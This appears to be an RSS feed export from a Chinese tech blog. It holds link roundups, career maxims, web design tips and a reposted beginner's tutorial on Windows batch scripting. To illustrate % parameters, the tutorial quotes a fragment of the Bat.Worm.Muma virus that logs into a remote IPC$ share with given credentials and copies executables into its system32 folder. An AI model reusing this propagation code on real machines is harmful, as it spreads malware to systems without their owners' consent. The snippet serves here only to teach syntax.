<br>  <img src ="http://www.cnitblog.com/seeyeah/aggbug/67052.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/seeyeah/" target="_blank">KiMoGiGi</a> 2010-06-27 11:34 <a href="http://www.cnitblog.com/seeyeah/archive/2010/06/27/67052.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>文章摘选【20091008】</title><link>http://www.cnitblog.com/seeyeah/archive/2009/10/08/61734.html</link><dc:creator>KiMoGiGi</dc:creator><author>KiMoGiGi</author><pubDate>Thu, 08 Oct 2009 14:03:00 GMT</pubDate><guid>http://www.cnitblog.com/seeyeah/archive/2009/10/08/61734.html</guid><wfw:comment>http://www.cnitblog.com/seeyeah/comments/61734.html</wfw:comment><comments>http://www.cnitblog.com/seeyeah/archive/2009/10/08/61734.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.cnitblog.com/seeyeah/comments/commentRss/61734.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/seeyeah/services/trackbacks/61734.html</trackback:ping><description><![CDATA[1、<a target="_blank"  href="http://www.codeproject.com/KB/toolbars/VS_IDE_Dock_Container.aspx">Visual Studio IDE like Dock Container - Second Version</a><br><br>仿VS IDE风格DockContainer插件，有标签预览功能，比较Cool的Ctrl+Tab预览。<br><br>2、<a target="_blank"  href="http://www.codeproject.com/KB/recipes/HashFile.aspx">Save Key/Value Pairs in a File</a><br><br>Hashtable运用方面非常广泛，但如果遇到大数据的话，会导致耗用大量内存。因此本文提供把Hashtable的数据结构存到&#8220;文件&#8221;的方案。<br><br>3、<a target="_blank"  href="http://www.codeproject.com/KB/aspnet/SandBox_CometSample.aspx">Using IHttpAsyncHandler and XMLHttpRequest to &#8220;push&#8221; messages to the client<br></a><br>一个从服务器&#8220;推&#8221;信息到客户端的方案。<br><br><br><img src ="http://www.cnitblog.com/seeyeah/aggbug/61734.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/seeyeah/" target="_blank">KiMoGiGi</a> 2009-10-08 22:03 <a href="http://www.cnitblog.com/seeyeah/archive/2009/10/08/61734.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>盖茨留给职场人的十句精言警句</title><link>http://www.cnitblog.com/seeyeah/archive/2009/01/23/53975.html</link><dc:creator>KiMoGiGi</dc:creator><author>KiMoGiGi</author><pubDate>Fri, 23 Jan 2009 01:43:00 GMT</pubDate><guid>http://www.cnitblog.com/seeyeah/archive/2009/01/23/53975.html</guid><wfw:comment>http://www.cnitblog.com/seeyeah/comments/53975.html</wfw:comment><comments>http://www.cnitblog.com/seeyeah/archive/2009/01/23/53975.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/seeyeah/comments/commentRss/53975.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/seeyeah/services/trackbacks/53975.html</trackback:ping><description><![CDATA[<p style="text-indent: 2em;">1.社会充满不公平现象。你先不要想去改造它，只能先适应它。（因为你管不了它）</p>
<p style="text-indent: 2em;">2.世界不会在意你的自尊，人们看的只是你的成就。在你没有成就以前，切勿过分强调自尊。（因为你越强调自尊，越对你不利）</p>
<p style="text-indent: 2em;">3.你只是中学毕业，通常不会成为CEO，直到你把CEO职位拿到手为止。</p>
<p style="text-indent: 2em;">（直到此时，人们才不会介意你只是中学毕业）</p>
<p style="text-indent: 2em;">4.当你陷入人为困境时，不要抱怨，你只能默默地吸取教训。</p>
<p style="text-indent: 2em;">（你要悄悄地振作起来，重新奋起）</p>
<p style="text-indent: 2em;">5.你要懂得：在没有你之前，你的父母并不像现在这样&#8220;乏味&#8221;。你应该想到，这是他们为了抚养你所付出的巨大代价。（你永远要感恩和孝敬他们，才是硬道理）</p>
<p style="text-indent: 2em;">6.在学校里，你考第几已不是那么重要，但进入社会却不然。不管你去哪里，都要分等排名。（社会、公司要排名次，是常见的事，要鼓起勇气竞争才对）</p>
<p style="text-indent: 2em;">7.学校里有节假日，到公司打工则不然，你几乎不能休息，很少能轻松地过节假日。</p>
<p style="text-indent: 2em;">（否则你职业生涯中一起跑就落后了，甚至会让你永远落后）</p>
<p style="text-indent: 2em;">8.在学校，老师会帮助你学习，到公司却不会。如果你认为学校的老师要求你很严格，那是你还没有进入公司打工。因为，如果公司对你不严厉，你就要失业了。</p>
<p style="text-indent: 2em;">（你必须清醒地认识到：公司比学校更要严格要求自己）</p>
<p style="text-indent: 2em;">9.人们都喜欢看电视剧，但你不要看，那并不是你的生活。只要在公司工作，你是无暇看电视剧的。</p>
<p style="text-indent: 2em;">（奉劝你不要看，否则你走上看电视连续剧之路，而且看得津津有味，那你将失去成功的资格）</p>
<p style="text-indent: 2em;">10.永远不要在背后批评别人，尤其不能批评你的老板无知、刻薄和无能。</p>
（因为这样的心态，会使你走上坎坷艰难的成长之路）
<br><img src ="http://www.cnitblog.com/seeyeah/aggbug/53975.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/seeyeah/" target="_blank">KiMoGiGi</a> 2009-01-23 09:43 <a href="http://www.cnitblog.com/seeyeah/archive/2009/01/23/53975.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>科学的设计你的网站网页</title><link>http://www.cnitblog.com/seeyeah/archive/2009/01/18/53858.html</link><dc:creator>KiMoGiGi</dc:creator><author>KiMoGiGi</author><pubDate>Sun, 18 Jan 2009 14:03:00 GMT</pubDate><guid>http://www.cnitblog.com/seeyeah/archive/2009/01/18/53858.html</guid><wfw:comment>http://www.cnitblog.com/seeyeah/comments/53858.html</wfw:comment><comments>http://www.cnitblog.com/seeyeah/archive/2009/01/18/53858.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/seeyeah/comments/commentRss/53858.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/seeyeah/services/trackbacks/53858.html</trackback:ping><description><![CDATA[<h1 class="postTitle"><a id="AjaxHolder_ctl01_TitleUrl" class="postTitle2" href="http://www.cnblogs.com/autumnsea/archive/2009/01/16/1377145.html">摘至：科学的设计你的网站网页</a></h1>
<p>在网络设计领域关于Eye-Tracking的研究十分火爆，但是如何把这些研究结果转变为具体可行的设计来运作依旧是个难点。以下就是一些来自于Eye-Tracking研究结果的窍门，可以为改进你的<strong style="font-weight: normal;"><strong>网站设计</strong></strong>提供些意见：</p>
<p>1.对比图像，文字更具吸引力</p>
<p>与你所认为的相反，在浏览一个网站的时候，能够直接吸引用户目光的并不是图像。大多数通过偶然点击进入你的网站的用户，他们是来寻觅信息的而不是图像。因此，保证你的网站设计凸现出最重要的信息板块，这才是设计的首要原则。</p>
<p>2.眼球的第一运动聚焦于网页的左上角</p>
<p>用户浏览网页的这一习惯应该在意料之中，毕竟左上部为主要操作中心这一点为大多数重要的计算机应用程序的设计所采用。在你构建网站考虑网站设计时，应该尽量保持这一格式。要知道，如果你希望保持个人特色，搭建一个成功的网站，你就必须尊重用户们的习惯。</p>
<p>3.用户浏览网页时，首先观察网页的左上部和上层部分，之后再往下阅读，浏览右边的内容</p>
<p>用户普遍的浏览方式呈现出&#8220;F&#8221;的形状 。保证网站内容的重要要素集中于这些关键区域，以此确保读者的参与。在此放置头条，副题，热点以及重要文章，这样可以吸引到读者进行阅读。</p>
<p>4.读者会忽视横幅广告</p>
<p>研究表明，读者常忽视大部分的横幅广告——尽管你以此维持网站生计——视线往往只停留几分之一秒。如果你想通过广告挣钱，那么必须创新你的广告位以及合理配置网站广告形式。</p>
<p>5.花哨的字体和格式被忽视</p>
<p>为什么呢？那是因为用户会认为这些是广告，并非他们所需要的信息。事实上，研究表明用户很难在充满大量颜色的花哨字体格式里寻找到所需的信息，因为视觉线索告诉他们把这些忽略吧。保持网站的清爽，不要因为华而不实的表面，让重要的信息被忽略。</p>
<p>6.用数词来代替数字</p>
<p>如果使用数词取代数字的罗列，读者会发现在你的网站可以很容易地发现真实的资料。要知道，你是写给那些将第一次浏览你的网站的读者，所以，让他们容易发现他们所需的信息，让他们感兴趣。</p>
<p>7.字体大小影响浏览行为</p>
<p>想改变人们对你的网页的看法吗？改变网页字体的大小。大的字体刺激浏览，而小一些的字体则提高焦点阅读量。根据你的需要，合理配置两者的比例。</p>
<p>8.遇到感兴趣的内容，用户仅会多看一眼副标题</p>
<p>不要过分坚持副标题固定的格式——保证他们的相关性和兴趣。你也可以让副标题包含关键词，这样可以有效利用搜索引擎，让它带来读者。</p>
<p>9.人们大都只浏览网页的小部分内容</p>
<p>如果在用户浏览的时候提供信息使他们尽快锁定目标，就可以把这一点发展成为你的优势。突出某些部分或者创建项目列表使网页信息容易找到和阅读。</p>
<p>10.简短的段落相对于长段落来说有更好的表现力</p>
<p>网页信息是为大多数强调快速浏览的无联网用户提供的。除非上下文的衔接要求，保持信息由简短的段落和句式组成，例如 这个电子商务网站 的产品介绍。</p>
<p>11.根据视觉锁定，一栏格式比多栏格式拥有更好的表现力</p>
<p>别让过多的信息把网站来访者淹没。大多数情况下，简洁更具力量。多栏内容容易被用户忽视，我们需要消除这些干扰。</p>
<p>12.网页顶部和左边的广告更能吸引眼球</p>
<p>如需要在网站植入广告，试图使他们融入网页的左上部，这样他们才能吸引到最大的视觉注意力。当然，用户仅仅会注意到这些广告，这并不意味着他们会用鼠标点击。所以不要为了提高广告的注意力而牺牲原有的网站设计。</p>
<p>13.将广告放置与最佳内容一旁也可以提升注意力</p>
<p>如果想要提升广告的可视性和点击率，可以将其设置于最能引起人兴趣的内容一旁，整合进网页的设计里。这样，用户既可以找到所需的内容，你也能提升广告的效益。</p>
<p>14.在各种测试中，人们阅读文字广告最为专心。</p>
<p>正如上面提到的，一般的互联网用户不会花费太多时间用于查看那些一眼就能看出是广告的内容。这就是文字广告表现出众的原因。他们并没有分散注意力，而是与网页的其它部分内容融为一体，这让他们减少了对读者的视觉刺激，也使这一广告形式获得成功的阅读率。</p>
<p>15.越大的图像吸引越多的注意力</p>
<p>如果要在网页中使用图片，那越大越好。人们更倾向于查看那些能够清楚地看到细节和获取信息的图像。要保证你所用的图片与文章内容相关，否则它更容易被忽视。大多数读者都拥有高速的连接速度，所以请放心在你的网站上使用那些较大体积的图片。</p>
<p>16.干净、清晰的特写图片能吸引更多的视觉注意</p>
<p>可能那些抽象的艺术图片会让你的网站看起来很有味道，但是他们并不会吸引多少读者的注意力。如果你需要使用到这些图片，请确保所用图片的清晰以及其表达内容的简单可读性。必须注意的是，那些与真实的&#8220;人&#8221;相关的图片比所谓的模特图片更为&#8220;优秀&#8221;。</p>
<p>17.标题能吸引眼球</p>
<p>浏览网页时，读者能发现的第一内容是标题。确保网页的所有相关链接畅通和有效，以让读者顺利的通过网站进一步搜索。</p>
<p>18.用户花费大量时间察看按钮和菜单</p>
<p>所以，你需要花费额外的时间维护你的精心设计。毕竟，他们不仅吸引了读者的眼球，更是<strong style="font-weight: normal;">网站设计</strong>的重要组成要素。</p>
<p>19.表单格式可以延长读者的注意时间</p>
<p>分解内容和段落，大量使用表单形式来表现你的文章，可以保证读者的浏览率。使用数字和其它标记符号来突出文章的重要内容，会让网站更容易浏览，用户更快的找到所需的信息。</p>
<p>20.避免呈现大块的文本</p>
<p>研究显示，一般的网络浏览者不会花费时间去阅读大块的文本，无论他们有多重要或写得多好。因此，必须把这些大文本分解为若干小段落。突出重要的地方，放置点击的按钮也可以提高用户的注意力。</p>
<p>21.格式可以吸引注意力</p>
<p>在文中使用粗体、大写、彩体、下划线可以帮助用户获取正文所表达的最主要的信息。使用时需要谨慎，因为过多的使用会使你的网页难以阅读，把读者吓跑。</p>
<p>22.利用好空白</p>
<p>尽管把网页的每寸空间都填满这个想法十分诱人，但事实上让网站留出部分剩余更为不错。网站的过量信息会把用户淹没，同时他们也会忘记所提供的大部分的内容。所以保持网页的简洁，给读者预留出一些视觉空间来供读者休息。</p>
<p>23.放置于网页顶部，导航工具的作用将更好的发挥</p>
理想情况下，你不会满足于当读者打开你的网站时仅浏览初始页，而是希望他们浏览翻阅，察看其它感兴趣的内容。将导航器置于网页顶部，就可以让用户通过使用这个工具轻松的找到所需的目标内容。
<br> <img src ="http://www.cnitblog.com/seeyeah/aggbug/53858.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/seeyeah/" target="_blank">KiMoGiGi</a> 2009-01-18 22:03 <a href="http://www.cnitblog.com/seeyeah/archive/2009/01/18/53858.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>批处理最完整人性化教程(.bat文件语法) </title><link>http://www.cnitblog.com/seeyeah/archive/2009/01/15/53808.html</link><dc:creator>KiMoGiGi</dc:creator><author>KiMoGiGi</author><pubDate>Thu, 15 Jan 2009 15:18:00 GMT</pubDate><guid>http://www.cnitblog.com/seeyeah/archive/2009/01/15/53808.html</guid><wfw:comment>http://www.cnitblog.com/seeyeah/comments/53808.html</wfw:comment><comments>http://www.cnitblog.com/seeyeah/archive/2009/01/15/53808.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/seeyeah/comments/commentRss/53808.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/seeyeah/services/trackbacks/53808.html</trackback:ping><description><![CDATA[摘至：<a class=headermaintitle id=Header1_HeaderTitle href="http://www.cnblogs.com/s1ihome/"><u><font color=#0000ff>Cabinet</font></u></a><br><br>
<div class=t_msgfont id=postmessage_78>这是一篇技术教程，我会用很简单的文字表达清楚自己的意思，你要你识字就能看懂，就能学到知识。写这篇教程的目的，是让每一个看过这些文字的朋友记住一句话：如果爱可以让事情变的更简单，那么就让它简单吧！看这篇教程的方法，就是慢！慢慢的，如同品一个女人、一杯茗茶，你会发现很多以前就在眼前的东西突然变的很遥远，而有些很遥远的东西却又突然回到了眼前。 <br><br>先概述一下批处理是个什么东东。批处理的定义，至今我也没能给出一个合适的----众多高手们也都没给出----反正我不知道----看了我也不一定信服----我是个菜鸟，当然就更不用说了；但我想总结出一个&#8220;比较合适的&#8221;，而且我也相信自己可以把它解释的很清楚，让更多的菜鸟都知道这是个什么东东，你用这个东东可以干什么事情。或许你会因为这篇文章而&#8220;无条件爱上批处理&#8221;，那么我的目的就达到了----我就是要让你爱上它，我就这么拽，你能怎么着？？真的，爱有时候就这么拽，就是这么没理由，就是这么不要脸！真的！ <br><br>按照我的理解，批处理的本质，是一堆DOS命令按一定顺序排列而形成的集合。 <br><br>OK,never claver and get to business（闲话少说言归正传）。批处理，也称为批处理脚本，英文译为BATCH，批处理文件后缀BAT就取的前三个字母。它的构成没有固定格式，只要遵守以下这条就ok了：每一行可视为一个命令，每个命令里可以含多条子命令，从第一行开始执行，直到最后一行结束，它运行的平台是DOS。批处理有一个很鲜明的特点：使用方便、灵活，功能强大，自动化程度高。我不想让自己写的教程枯燥无味，因为牵缠到代码（批处理的内容算是代码吧？）的问题本来就是枯燥的，很少有人能面对满屏幕的代码而静下心来。所以我会用很多简单实用的例子让读这篇教程的朋友去体会批处理的那四射的魅力，感受它那古灵精怪的性格，不知不觉中爱上批处理（晕，怎么又是爱？到底批处理和爱有什么关系？答案：没有！）。再说句&#8220;闲话&#8221;：要学好批处理，DOS基础一定要牢！当然脑子灵活也是很重要的一方面。 <br><br>例一、先给出一个最easy的批处理脚本让大家和它混个脸熟，将下面的几行命令保存为name.bat然后执行（以后文中只给出代码，保存和执行方式类似）： <br><br>ping sz.tencent.com &gt; a.txt <br>ping sz1.tencent.com &gt;&gt; a.txt <br>ping sz2.tencent.com &gt;&gt; a.txt <br>ping sz3.tencent.com &gt;&gt; a.txt <br>ping sz4.tencent.com &gt;&gt; a.txt <br>ping sz5.tencent.com &gt;&gt; a.txt <br>ping sz6.tencent.com &gt;&gt; a.txt <br>ping sz7.tencent.com &gt;&gt; a.txt <br>exit <br><br>是不是都能看的懂？是不是很easy？但它的作用却是很实用的，执行这个批处理后，可以在你的当前盘建立一个名为a.txt的文件，它里面记录的信息可以帮助你迅速找到速度最快的QQ服务器，从而远离&#8220;从服务器中转&#8221;那一痛苦的过程。这里&gt;的意思，是把前面命令得到的东西放到后面所给的地方，&gt;&gt;的作用，和&gt;的相同，区别是把结果追加到前一行得出的结果的后面，具体的说是下一行，而前面一行命令得出的结果将保留，这样可以使这个a.txt文件越来越大（想到如何搞破坏了？？）。By the way，这个批处理还可以和其他命令结合，搞成完全自动化判断服务器速度的东东，执行后直接显示速度最快的服务器IP，是不是很爽？后面还将详细介绍。 <br><br>例二、再给出一个已经过时的例子（a.bat）： <br><br>@echo off <br>if exist C:\Progra~1\Tencent\AD\*.gif del C:\Progra~1\Tencent\AD\*.gif <br>a.bat <br><br>为什么说这是个过时的例子呢？很简单，因为现在已经几乎没有人用带广告的QQ了（KAO，我的QQ还显示好友三围呢！！），所以它几乎用不上了。但曾经它的作用是不可小窥的：删除QQ的广告，让对话框干干净净。这里用的地址是QQ的默认安装地址，默认批处理文件名为a.bat，你当然可以根据情况自行修改。在这个脚本中使用了if命令，使得它可以达到适时判断和删除广告图片的效果，你只需要不关闭命令执行后的DOS窗口，不按CTRL+C强行终止命令，它就一直监视是否有广告图片（QQ也再不断查看自己的广告是否被删除）。当然这个脚本占用你一点点内存，呵呵。 <br>例三，使用批处理脚本查是否中冰河。脚本内容如下： <br><br>@echo off <br>netstat -a -n &gt; a.txt <br>type a.txt | find "7626" &amp;&amp; echo "Congratulations! You have infected GLACIER!" <br>del a.txt <br>pause &amp; exit <br><br>这里利用了netstat命令，检查所有的网络端口状态，只需要你清楚常见木马所使用的端口，就能很easy的判断出来是否被人种了冰河。然这不是确定的，因为冰河默认的端口7626，完全可以被人修改。这里介绍的只是方法和思路。这里介绍的是方法和思路稍做改动，就变成可以检查其他木马的脚本了，再改动一下，加进去参数和端口及信息列表文件后，就变成自动检测所有木马的脚本了。呵呵，是不是很过瘾？脚本中还利用了组合命令&amp;&amp;和管道命令|，后面将详细介绍。 <br><br>例四，借批处理自动清除系统垃圾，脚本如下： <br><br>@echo off <br>if exist c:\windows\temp\*.* del c:\windows\temp\*.* <br>if exist c:\windows\Tempor~1\*.* del c:\windows\Tempor~1\*.* <br>if exist c:\windows\History\*.* del c:\windows\History\*.* <br>if exist c:\windows\recent\*.* del c:\windows\recent\*.* <br><br>将以上脚本内容保存到autoexec.bat里，每次开机时就把系统垃圾给自动删除了。这里需要注意两点：一、DOS不支持长文件名，所以就出现了Tempor~1这个东东；二、可根据自己的实际情况进行改动，使其符合自己的要求。 <br><br>怎么样，看到这里，你对批处理脚本是不是已经有点兴趣了？是不是发现自己已经慢慢爱上了这个东东？别高兴的太早，爱不是一件简单的事，它也许能带给你快乐和幸福，当然也能让你痛苦的想去跳楼。如果你知道很难还敢继续的话，I 服了 YOU！继续努力吧，也许到最后你不一定得到真爱（真的有这可能，爱过的人都知道），但你可以体会到整个爱的过程，就是如此。 酸、苦和辣，有没有甜天知道。 <br><br>为什么会把批处理和爱情扯上关系？不是我无聊，也不是因为这样写有趣多少，原因有二：其一，批处理和爱情有很多相同的地方，有些地方我用&#8220;专业&#8221;的行话解释不清（我不怀疑自己的表达能力，而是事情本身就不好说清楚），说了=没说，但用地球人都知道的爱情一比喻（爱情是什么？我**怎么知道！！），没准你心里一下就亮堂了，事半功倍，何乐而不为？其二，我这段时间状态不是很好，感冒发烧头疼鼻塞，但主要还是感情上精神摧残，搞的人烦透了，借写教程之际感慨几句，大家就全当买狗皮膏药了，完全可以省略不看（也许还真有点效果----不至于让你看着看着就睡着了，把头磕了来找我报销医药费）。说不定下次的教程中大家还会看到杨过、张无忌等金老前辈笔下的英雄们。 <br><br>看过第一章的朋友，一定对批处理有了初步的印象，知道它到底是用来干什么的了。但你知道运用批处理的精髓在哪里吗？其实很简单：思路要灵活！没有做不到的，只有想不到的。这和爱情就有点不同了，因为爱情的世界是两个人的世界，一厢情愿不叫爱情（补充：那叫单恋。废话！）而批处理却是一个人的天堂，你可以为所欲为，没有达不到的境界！ <br><br>批处理看起来杂乱无章，但它的逻辑性之强，绝对不比其他程序语言（如汇编）低，如果你写的脚本是一堆乱麻，虽然每一行命令都正确，但从头执行到尾后，不一定得到你想要的结果，也许是一屏幕的Bad command or fail name。这又和爱情有了共同点：按步骤来经营，缺少或增多的步骤都可能导致不想看见的结果。陷入爱河的朋友，相信没有不肯定这句话的。我的爱情批处理，输出的结果不是Bad command or fail name，屏幕是这么显示的：&#8216;你的爱情'不是内部或外部命令，也不是可运行的程序或批处理文件。然后就是光标不停闪动，等待这下一次错误的输入。 <br><br>从这一章开始，将由浅入深的介绍批处理中常用的命令，很多常见DOS命令在批处理脚本中有这广泛的应用，它们是批处理脚本的BODY部分，但批处理比DOS更灵活多样，更具备自动化。要学好批处理，DOS一定要有比较扎实的基础。这里只讲述一些比较少用（相对来说）的DOS命令，常用命令如COPY、DIR等就不做介绍了（这些看似简单的命令实际复杂的很，我怕自己都说不清楚！）。 <br><br>例五，先看一个实例。这是一个很有意思的脚本，一个小巧实用的好东东，把批处理&#8220;自动化&#8221;的特点体现的淋漓尽致。先介绍一下这个脚本的来历：大家都知道汇编程序（MASM）的上机过程，先要对源代码进行汇编、连接，然后再执行，而这中间有很多环节需要输入很多东西，麻烦的很（只有经历过的朋友才懂得）。如何使这个过程变的简单呢？在我们搞汇编课程设计时，我&#8220;被逼&#8221;写了这个脚本，用起来很爽，呵呵。看看脚本内容： <br><br>@echo off <br>::close echo <br>cls <br>::clean screen <br>echo This programme is to make the MASM programme automate <br>::display info <br>echo Edit by CODERED <br>::display info <br>echo Mailto me : qqkiller***@sina.com <br>::display info <br>if "%1"=="" goto usage <br>::if input without paramater goto usage <br>if "%1"=="/?" goto usage <br>::if paramater is "/?" goto usage <br>if "%1"=="help" goto usage <br>::if paramater is "help" goto usage <br>pause <br>::pause to see usage <br>masm %1.asm <br>::assemble the .asm code <br>if errorlevel 1 pause &amp; edit %1.asm <br>::if error pause to see error msg and edit the code <br>link %1.obj &amp; %1 <br>::else link the .obj file and execute the .exe file <br>:usage <br>::set usage <br>echo Usage: This BAT file name [asm file name] <br>echo Default BAT file name is START.BAT <br>::display usage <br><br>先不要被这一堆的东西给吓怕了，静下心来仔细的看（回想一下第一章中第一段是怎么写的！！）。已经给出了每一行命令的解释，两个冒号后面的内容为前一行内容解释的E文（害怕E文的朋友也不用担心，都很easy，一看就懂了，实在不懂了不会查词典啊，这么懒？），在脚本执行时不显示，也不起任何作用。倒数第5行行首有一个冒号，可不是笔误哦！具体作用后面会详细讲到。此脚本中masm和link是汇编程序和连接程序，必须和edit程序以及你要编辑的源代码（当然还有这个脚本，废话！）一起在当前目录中。使用这个批处理脚本，可以最大可能的减少手工输入，整个过程中只需要按几下回车键，即可实现从汇编源代码到可执行exe文件的自动化转换，并具备智能判断功能：如果汇编时源代码出现错误（汇编不成功），则自动暂停显示错误信息，并在按任意键后自动进入编辑源代码界面；如果源代码汇编成功，则进行连接，并在连接后自动执行生成的exe文件。另外，由于批处理命令的简单性和灵活性，这个脚本还具备良好的可改进性，简单进行修改就可以符合不同朋友的上机习惯。正在学汇编的朋友，一定别忘了实习一下！ <br><br>在这个脚本中出现了如下几个命令：@、echo、::、pause、:和goto、%以及if。而这一章就将讲述这几个命令。 <br><br>1、@ <br><br>这个符号大家都不陌生，email的必备符号，它怎么会跑到批处理中呢？呵呵，不是它的错，批处理本来就离不开它，要不就不完美了。它的作用是让执行窗口中不显示它后面这一行的命令本身（多么绕口的一句话！）。呵呵，通俗一点说，行首有了它的话，这一行的命令就不显示了。在例五中，首行的@echo off中，@的作用就是让脚本在执行时不显示后面的echo off部分。这下懂了吧？还是不太懂？没关系，看完echo命令简介，自然就懂了。 <br><br>2、echo <br><br>中文为&#8220;反馈&#8221;、&#8220;回显&#8221;的意思。它其实是一个开关命令，就是说它只有两种状态：打开和关闭。于是就有了echo on和echo off两个命令了。直接执行echo命令将显示当前echo命令状态（off或on）执行echo off将关闭回显，它后面的所有命令都不显示命令本身，只显示执行后的结果，除非执行echo on命令。在例五中，首行的@命令和echo off命令联合起来，达到了两个目的：不显示echo off命令本身，不显示以后各行中的命令本身。的确是有点乱，但你要是练习一下的话，3分钟包会，不会的退钱！ <br><br>echo命令的另一种用法一：可以用它来显示信息！如例五中倒数第二行，Default BAT file name is START.BAT将在脚本执行后的窗口中显示，而echo命令本身不显示（为什么？？）。 <br>echo命令的另一种用法二：可以直接编辑文本文件。例六： <br>echo nbtstat -A 192.168.0.1 &gt; a.bat <br>echo nbtstat -A 192.168.0.2 &gt;&gt; a.bat <br>echo nbtstat -A 192.168.0.3 &gt;&gt; a.bat <br><br>以上脚本内容的编辑方法是，直接是命令行输入，每行一回车。最后就会在当前目录下生成一个a.bat的文件，直接执行就会得到结果。 <br><br>3、:: <br><br>这个命令的作用很简单，它是注释命令，在批处理脚本中和rem命令等效。它后面的内容在执行时不显示，也不起任何作用，因为它只是注释，只是增加了脚本的可读性，和C语言中的/*&#8230;&#8230;&#8230;&#8230;*/类似。地球人都能看懂，就不多说了。 <br><br>4、pause <br><br>中文为&#8220;暂停&#8221;的意思（看看你的workman上），我一直认为它是批处理中最简单的一个命令，单纯、实用。它的作用，是让当前程序进程暂停一下，并显示一行信息：请按任意键继续. . .。在例五中这个命令运用了两次，第一次的作用是让使用者看清楚程序信息，第二个是显示错误的汇编代码信息（其实不是它想显示，而是masm程序在显示错误信息时被暂它停了，以便让你看清楚你的源代码错在哪里）。 <br><br>5、:和goto <br><br>为什么要把这两个命令联合起来介绍？因为它们是分不开的，无论少了哪个或多了哪个都会出错。goto是个跳转命令，:是一个标签。当程序运行到goto时，将自动跳转到:定义的部分去执行了（是不是分不开？）。例五中倒数第5行行首出现一个:，则程序在运行到goto时就自动跳转到:标签定义的部分执行，结果是显示脚本usage（usage就是标签名称）。不难看出，goto命令就是根据这个冒号和标签名称来寻找它该跳转的地方，它们是一一对应的关系。goto命令也经常和if命令结合使用。至于这两个命令具体用法，参照例五。 <br><br>goto命令的另一种用法一：提前结束程序。在程序中间使用goto命令跳转到某一标签，而这一标签的内容却定义为退出。如： <br><br>&#8230;&#8230; <br>goto end <br>&#8230;&#8230; <br>:end <br><br>这里:end在脚本最后一行！其实这个例子很弱智，后面讲了if命令和组合命令你就知道了。 <br><br>6、% <br><br>这个百分号严格来说是算不上命令的，它只是批处理中的参数而已（多个%一起使用的情况除外，以后还将详细介绍），但千万别以为它只是参数就小看了它（看看例五中有多少地方用到它？），少了它批处理的功能就减少了51%了。看看例七： <br><br>net use \\%1\ipc$ %3 /u:"%2" <br>copy 11.BAT \\%1\admin$\system32 /y <br>copy 13.BAT \\%1\admin$\system32 /y <br>copy ipc2.BAT \\%1\admin$\system32 /y <br>copy NWZI.EXE \\%1\admin$\system32 /y <br>attrib \\%1\admin$\system32\10.bat -r -h -s <br><br>以上代码是Bat.Worm.Muma病毒中的一部分，%1代表的IP，2%代表的username，3%代表password。执行形式为：脚本文件名 参数一 参数二 &#8230;&#8230;。假设这个脚本被保存为a.bat，则执行形式如下：a IP username password。这里IP、username、password是三个参数，缺一不可（因为程序不能正确运行，并不是因为少了参数语法就不对）这样在脚本执行过程中，脚本就自动用用你的三个参数依次（记住，是依次！也是一一对应的关系。）代换1%、2%和3%，这样就达到了灵活运用的目的（试想，如果在脚本中直接把IP、username和password都定义死，那么脚本的作用也就被固定了，但如果使用%的话，不同的参数可以达到不同的目的，是不是更灵活？）。 <br><br>关于这个参数的使用，在后续章节中还将介绍。一定要非常熟练才行，这需要很多练习过程，需要下点狠工夫！ <br><br>这一章就写到这里了。可能有朋友问了：怎么没介绍if命令？呵呵，不是我忘了，而是它不容易说清楚，下一章再讲了！这一章讲的这点东西，如果你是初学者，恐怕也够消化的了。记住一句话：DOS是批处理的BODY，任何一个DOS命令都可以被用在批处理脚本中去完成特定的功能。到这里，你是否已经想到了用自己肚子里的东西去写点带有自动化色彩的东东呢？很简单，就是一个DOS命令的集合而已，相信自称为天才的你已经会把计算机等级考试上机试题中的DOS部分用批处理来自动化完成了。 <br><br>烦！就好象一个半老女人到了更年期，什么事都想唠叨几句，什么事都感到不舒服，看谁谁不爽。明知山有虎，偏向虎山行，最后留下一身伤痕无功而返时，才发现自己竟然如此脆弱，如此渺小，如此不堪一击。徘徊在崩溃的边缘，突然回想起了自己最后一次扁人的那一刻，还真有点怀念（其实我很不喜欢扁人，更不喜欢被人扁）。我需要发泄，我用手指拼命的敲打着键盘，在一阵接一阵有节奏的声音中，屏幕上出现了上面的这些文字。可难道这就是发泄的另一种方式吗？中国人还是厉害，早在几千年前孔老夫子就说过&#8220;唯女子与小人，难养也&#8221;，真**有先见之明，佩服！虽然是在发泄，不过大家请放心，以我的脾气，既然决定写这篇教程，就一定会尽力去写好，写完美，绝对不给自己留下遗憾，要不这教程就不是我写的！ <br><br><br><br>曾经有一篇经典的批处理教程出现在你的屏幕上，你没有保存，直到找不到它的链接你才后悔莫及，人世间最大的痛苦莫过于此。如果上天能给你一个再看一次的机会，你会对那篇教程说三个字：我爱你！如果非要给这份爱加上一个期限，你希望是100年。因为100年后，你恐怕早已经挂了！而现在，你的屏幕上出现了这篇你正在看的批处理教程，虽然不如你曾经看的那篇经典，但如果勉强还过的去。你会爱它吗？时间会有50年那么长吗？答案是：试试看吧。 